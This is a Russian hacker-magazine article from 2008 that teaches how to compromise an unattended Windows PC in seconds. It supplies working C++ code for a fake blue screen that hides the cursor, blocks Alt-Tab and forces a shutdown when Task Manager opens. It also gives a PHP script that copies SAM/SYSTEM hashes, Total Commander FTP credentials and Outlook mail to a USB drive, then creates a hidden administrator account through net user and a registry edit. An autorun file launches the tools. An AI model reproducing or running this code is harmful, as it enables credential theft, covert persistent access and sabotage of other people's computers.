Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #110, ФЕВРАЛЬ 2008 г.

Один на один

Леонид «R0id» Стройков

Хакер, номер #110, стр. 110-064-1

(stroikov@gameland.ru)

Владимир «Dot.err» Савицкий (kaifoflife@bk.ru)

Овладеваем чужим компом за несколько секунд

Intro

Как часто ты общаешься со своими друзьями/коллегами/знакомыми? Нет, речь идет не о виртуальном общении, а о контакте в реале. Каждый день мы пересекаемся со множеством людей в самых разных ситуациях, причем комп играет при этом далеко не последнюю роль. К чему я клоню? Все просто. Где бы ты ни был: в гостях, на работе, в офисе, у начальника в кабинете - везде можно заметить небрежно торчащий из-под стола системник. Думаю, ты не раз попадал в ситуации, когда тебя оставляли одного в чужом помещении рядом со включенным компом. А ведь делать это категорически нельзя. Почему? Устраивайся поудобнее, сейчас мы подробно расскажем тебе о том, что можно натворить с чужим компом всего за несколько секунд.

Мутим западло

Итак, мы оказались за чужим компом всего на несколько минут. Что можно сделать за это время? В принципе, все что угодно, но это должно быть заранее подготовлено. Да, отформатировать винт можно одной командой в консоли, но скучнее шутки не придумаешь. Мы попробуем сымитировать всем знакомый BSOD (Blue Screen of Death). Синий экран смерти можно наблюдать в тех случаях, когда возникает ошибка в коде ядра или драйвера, выполняющегося в режиме ядра, либо вызвать его вручную. В отличие от оригинального, во время показа нашего BSOD Винда будет продолжать свою работу, выполняя нужные нам задачи, а после перезагрузки от него не останется и следа.

Напишем небольшую программку на С++, использующую Win32 API. Для фейкового экрана нам необходимо полностью очистить рабочий стол, поместить на него изображение оригинального BSOD и убрать мышь. Также для примера обработаем нажатие клавиш <Alt-Tab> и вызов диспетчера задач.

Начнем с явного определения версии Винды и подключения необходимых заголовочных (header) файлов. Предположительно, работать будем с Виндой NT 5.0 (XP):

#define WINVER 0x0500

Заголовочные файлы с необходимыми API-функциями:

#include "windows.h"

#include "commctrl.h"

Дальше работаем в теле программы. Необходимо скрыть панель задач, которая является одним из окон. Для этого получим HWND (уникальный идентификатор окна в Windows) панели задач при помощи функции FindWindow("Shell_TrayWnd",NULL) и используем его в функции ShowWindow(), позволяющей задавать режим отображения окна. В нашем случае необходимо скрыть окно, поэтому второй параметр выставляем в SW_HIDE:

ShowWindow(

FindWindow("Shell_TrayWnd",NULL),

SW_HIDE

);

Следующим шагом уберем ярлыки (папки и прочее), в большом количестве расплодившиеся на рабочем столе. Рабочий стол также является одним из окон Windows с названием ProgMan (aka program manager), а все, что на нем находится, - его элементами. Получим HWND рабочего стола; через обращение к дочерним окнам функцией GetWindow() с параметром GW_CHILD доберемся до окна, содержащего ярлыки, и пошлем ему сообщение об удалении (с экрана, физически элементы не удаляются) всех элементов через SendMessage() с параметром LVM_DELETEALLITEMS.

HWND DesktopHandle = FindWindow("ProgMan", 0);

DesktopHandle = GetWindow(DesktopHandle, GW_CHILD);

DesktopHandle = GetWindow(DesktopHandle, GW_CHILD);

SendMessage(DesktopHandle, LVM_DELETEALLITEMS , 0, 0);

На десктопе все еще висят открытые окна и приложения. Свернем их в уже скрытую панель задач нажатием <Win-M>. Нажатие клавиши в привычном нам смысле реализуется непосредственно ее нажатием и отжатием. Передадим в функцию keybd_event() первым параметром необходимую клавишу, а третьим - ее состояние: 0 - нажата, KEYEVENTF_KEYUP - отжата. Также необходимо поместить небольшую задержку в 100 миллисекунд.

Sleep(100);

keybd_event(VK_LWIN, 0, 0 ,0);

keybd_event('M', 0, 0 ,0);

keybd_event('M', 0, KEYEVENTF_KEYUP,0);

keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP,0);

Sleep(100);

Теперь на десктопе мы можем наблюдать только обои и мышь. Ими и займемся. Положим изображение синего экрана смерти в виде файла BSOD.bmp в каталог с прогой. API-функция SystemParametersInfo() может отображать и изменять различные параметры системы. В нашем случае первым параметром функции будет SPI_SETDESKWALLPAPER, отвечающий за обои на рабочем столе, третьим - имя файла с изображением BSOD, а четвертым - SPIF_SENDWININICHANGE, указывающий на то, что необходимо обновить конфиг:

char filename[50];

strcpy(filename,"BSOD.bmp");

SystemParametersInfo(SPI_SETDESKWALLPAPER,0,&filename,SPIF_SENDWININICHANGE);

Синий экран с белым текстом радует глаз, но курсор мыши портит все впечатление. Скроем и уберем курсор в правый нижний угол. Воспользовавшись функцией GetSystemMetrics() с параметром SM_CXSCREEN, получим разрешение экрана по горизонтали, с параметром SM_CYSCREEN - по вертикали. Внесем полученные значения в структуру типа POINT, необходимую для функции установки курсора в определенную позицию SetCursorPos().

int screenW=GetSystemMetrics(SM_CXSCREEN);

int screenH=GetSystemMetrics(SM_CYSCREEN);

POINT pt = {screenW, screenH};

Скрывать и устанавливать мышь в угол экрана будем в бесконечном цикле, дабы не дать юзверю испортить иллюзию отсутствия курсора:

while (1) {

ShowCursor(0);

SetCursorPos(pt.x, pt.y);

}

С виду все в порядке, но пользователь может подумать, что его разыгрывают, и попытаться запустить диспетчер задач или попробовать сменить программу по <Alt-Tab>. Конечно, можно написать хук (ловушку) на клавиатуру, но мы ограничимся следующим. При нажатии <Alt-Tab> в Винду посылается сигнал нажатия и отжатия этих клавиш. Мы же будем непрерывно посылать сигнал о том, что клавиши <Alt> и <Tab> отжаты, тем самым не допуская использование этой комбинации. Добавим в цикл, описанный чуть выше, строчки:

keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP,0);

Следующий на очереди - диспетчер задач. При его вызове, к примеру, будем выключать компьютер. Ловить появление диспетчера мы станем непрерывным поиском окна «Диспетчер задач Windows» (предположительно, мы имеем обычного юзера, использующего локализованную Винду) через FindWindow(). При появлении ему будет отсылаться сообщение о закрытии функцией PostMessage(). Далее выключаем компьютер, используя ExitWindowsEx() с первым параметром EWX_POWEROFF для форсированного выключения (можно EWX_RESTART для перезагрузки). Добавим во все тот же цикл к функциям работы с мышью и клавой следующий код:

if (FindWindow(NULL, "Диспетчер задач Windows")) {

PostMessage(FindWindow(NULL, "Диспетчер задач Windows"), WM_QUIT, 0, 0);

ExitWindowsEx(EWX_POWEROFF, 0);

}

Функция ExitWindowsEx() не будет работать без соответствующих привилегий (прав доступа), получить которые можно так (код добавляется перед описанным выше циклом while):

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

Готово. Сохраняем, компилируем, запускаем и получаем очередной инструмент по западлостроению.

Особенно интересным мне представляется использование этого способа следующим образом.

1. Делаем скриншот:

keybd_event(VK_SNAPSHOT, 0, 0 ,0);

keybd_event(VK_SNAPSHOT, 0, KEYEVENTF_KEYUP,0);

2. Сохраняем в папку с программой (допустим, сохраним вручную в запущенном Paint'e).

WinExec("mspaint.exe", SW_SHOW);

В это время наша прога должна быть остановлена, поскольку нам понадобится определенное время, чтобы сохранить скриншот. Пусть ожидает нажатия клавиши:

getch();

Заменяем изображение BSOD принтскрином рабочего стола юзера.

3. Убираем из цикла while(1) выключение компьютера, то есть строчку «ExitWindowsEx(EWX_POWEROFF, 0);».

4. Убираем функции для работы с мышью («ShowCursor(0); SetCursorPos(pt.x, pt.y);», в частности). В тело программы добавляем следующие строки:

int MS=1;

SystemParametersInfo(SPI_SETMOUSESPEED, NULL, (void*)MS, SPIF_UPDATEINIFILE);

Так мы до минимума замедлим скорость перемещения курсора.

5. Добавляем в цикл while(1) функцию сокрытия ярлыков на рабочем столе и команду ожидания на 10 миллисекунд, чтобы разгрузить процессор и дать юзеру повозить мышью:

SendMessage(DesktopHandle, LVM_DELETEALLITEMS , 0, 0);

Sleep(10);

Как ты уже догадался, пользователь увидит свою любимую Винду, но, щелкая по ярлыкам, папкам, «Пуску» и программам на панели задач, придет в недоумение.

Выворачиваем карманы

Все, с западлостроением разобрались. Нашей следующей задачей будет «заимствование» полезной информации с чужого компа :). Как ты уже догадался, «заимствовать» инфу удобнее всего с помощью самописной тулзы, которую мы обязательно напишем, только чуть позже. Для начала давай определимся с тем, что нас может интересовать в стандартной Винде: SAM-файл, конфиги с аккаунтами от различных приложений.

Что касается первого, то кроме самой резервной копии SAM-файла нам понадобится еще и бэкап файла SYSTEM. И тот и другой хранятся, как известно, здесь:

C:\WINDOWS\repair\

Брутить пассы виндовых юзеров из SAM'а удобнее всего утилой LCP, которую ты без труда найдешь на просторах секлаба.

Со вторым пунктом все немного сложнее. Дело в том, что нам нужно знать точное место расположения конфигов. Конечно, можно реализовать парсинг содержимого всего винта, но сколько потребуется времени на обработку хотя бы 80 гигов... А о том, что будет с твоей задницей, если во время поиска в помещение неожиданно вернется хозяин, мне и думать не хочется :). Следовательно, работа нашей тулзы должна укладываться в жесткие временные рамки. А значит, брать с чужого компа мы будем только то, что находится в заранее известном каталоге. Прежде всего, это конфиг Total Commander'а и файл данных из MS Outlook'а. Первый лежит в C:\WINDOWS\wcx_ftp.ini и содержит в себе все FTP-учетки пользователя, а второй располагается в C:\Documents and Settings\имя_юзера\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst и бережно хранит переписку и контакты жертвы :).

Так как наша утила подлежит постоянным изменениям и доработке, кодить удобнее всего на каком-либо скриптовом языке, например на всеми любимом PHP:

#Сливаем конфиг с FTP-аккаунтами из Total Commander'а

$ftp = "C:\WINDOWS\wcx_ftp.ini";

if(is_file($ftp)){

copy("C:\WINDOWS\wcx_ftp.ini","$FD:\\tmp\wcx_ftp.ini");

}else{

echo("Warning! File wcx_ftp.ini: not found or access denied.\n");

}

#Сливаем резервную копию SAM-файла и файла SYSTEM

$sam = copy("C:\WINDOWS\\repair\\sam","$FD:\\tmp\sam");

$sys = copy("C:\WINDOWS\\repair\\system","$FD:\\tmp\system");

if(!$sys){

copy("C:\WINDOWS\\repair\\system.bak","$FD:\\tmp\system");

}

С wcx_ftp.ini все просто, функция is_file() определяет наличие у нас прав на доступ к файлу, после чего происходит его копирование в /tmp-каталог на нашем носителе. Аналогично и с SAM/SYSTEM. Однако ты наверняка заметил переменную $FD, обозначающую имя съемного диска (проще говоря, флешки). Из-за того, что юзать скрипт нам придется на разных компах, присвоить значение заблаговременно не представляется возможным. Кроме того, при «заимствовании» файла Outlook.pst появляется еще одна проблема - неизвестное имя пользователя:

$mst = "C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst";

if(is_file($mst)){

$size=filesize("C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst");

if($size>$MS){

echo("Warning! File Outlook.pst = $size bytes.\n");

}else{

copy("C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst","$FD:\\tmp\Outlook.pst");

}

}else{

echo("Warning! File Outlook.pst: not found or access denied.\n");

}

Как видишь, юзернейм – это переменная $UN. Забегая вперед, скажу, что в ходе тестирования выяснился недостаток в виде размера Outlook.pst. Поэтому в финальном релизе появилась переменная $MS, несущая в себе максимально допустимое значение размера файла данных из Outlook. Все три параметра - имя диска, имя пользователя и максимальный размер аутлуковского файла - указываются нами при запуске скрипта:

F:\php\php F:\base.php F admin 10240

Здесь F - имя флешки, admin - логин юзера, 10240 - размер в байтах. Но радость наша была бы неполной без собственного аккаунта в системе, не так ли? :) К счастью, в большинстве случаев в Винде сидят из-под админа. Добавить своего пользователя с повышенными привилегиями при таком раскладе не составит труда:

$login="backdoor";

$password="winpas";

system("net user $login $password /add");

system("net localgroup Администраторы $login /add");

Тем не менее оставлять такое палево после себя очень некрасиво :). Поэтому мы скроем наш аккаунт от посторонних глаз, причем скроем его так, что ни на экране приветствия, ни в панели управления учетными записями он отображаться не будет:

$reg = "REGEDIT4";

$key = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

\"$login\"=dword:00000000";

$fp = fopen("$FD:\\tmp\user.reg", "w");

fputs($fp, "$reg\n$key");

fclose($fp);

system("$FD:\\tmp\user.reg"); //вносим данные в реестр

Вот и все. Единственное, что от тебя требуется, - это два раза нажать <Enter> при добавлении записи в реестр.

Итак, что мы имеем в итоге:

  1. Резервные копии файлов SAM/SYSTEM.
  2. Конфиг Total Commander'a (при условии его использования).
  3. Файл данных из MS Outlook (при условии его использования).
  4. Собственного скрытого пользователя с правами админа в системе.

Причем при сравнительно небольшом размере файла Outlook.pst (< 5 Мб) время, требуемое скриптом на выполнение, составляет всего около 10 секунд. Конечно, многое зависит от железа и скорости передачи данных, но еще большую роль играет твоя сообразительность. Модифицировать мой скрипт или переписать его на другой язык не составит особого труда, зато простора для фантазии здесь хватает. Дерзай, а я всегда помогу :).

Два в одном, или Local Tools

Имея на руках две написанные проги, попробуем объединить их в единое целое. Суть идеи такова: на флешке мы размещаем распакованный PHP-интерпретатор, скрипт base.php, утилу BSOD.exe и картинку к ней - BSOD.bmp. Удобнее всего совмещать западло с хакингом :). Поэтому наш скрипт после выполнения возложенных на него обязанностей будет копировать софтинку Dot.err'а на винт жертвы и запускать ее оттуда:

$bsod = copy("$FD:\\BSOD.exe","C:\WINDOWS\BSOD.exe");

$scrn = copy("$FD:\\BSOD.bmp","C:\WINDOWS\BSOD.bmp");

system("C:\WINDOWS\BSOD.exe");

Таким образом, стянув все необходимые данные, мы аккуратно укладываем чужой комп на обе лопатки завораживающим синим экраном :). В этом случае base.php тебе нужно запускать при помощи PHP-интерпретатора на твоем носителе, указав все требуемые параметры. Но для особо ленивых есть возможность создания авторана на flash-носителе:

[Autorun]

shellexecute=BSOD.exe

Action=Local_Tools

Icon=smile.gif

Label=LT

Здесь shellexecute обозначает запускаемое приложение, Action - его название, Icon - иконку, а Label - название диска. Кроме того, можно набросать простенький батник, редактируя в нем лишь изменяющиеся параметры, передающиеся скрипту base.php. В общем, выбор за тобой :). Но как бы там ни было, помни, ломать, не строя, невозможно.

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

Если Винду юзают из-под админа, не забывай добавлять в систему своего скрытого пользователя с повышенными привилегиями :).

Скопируй себе на флешку PHP-интерпретатор, утилу Local Tools (base.php+BSOD.exe) и картинку BSOD.bmp. В корне флеш-диска обязательно создай каталог tmp.

Помни, что от размера файла Outlook.pst напрямую зависит скорость работы утилы Local Tools.

DVD

Все утилиты мы заботливо выложили на DVD для твоей оценки.

Содержание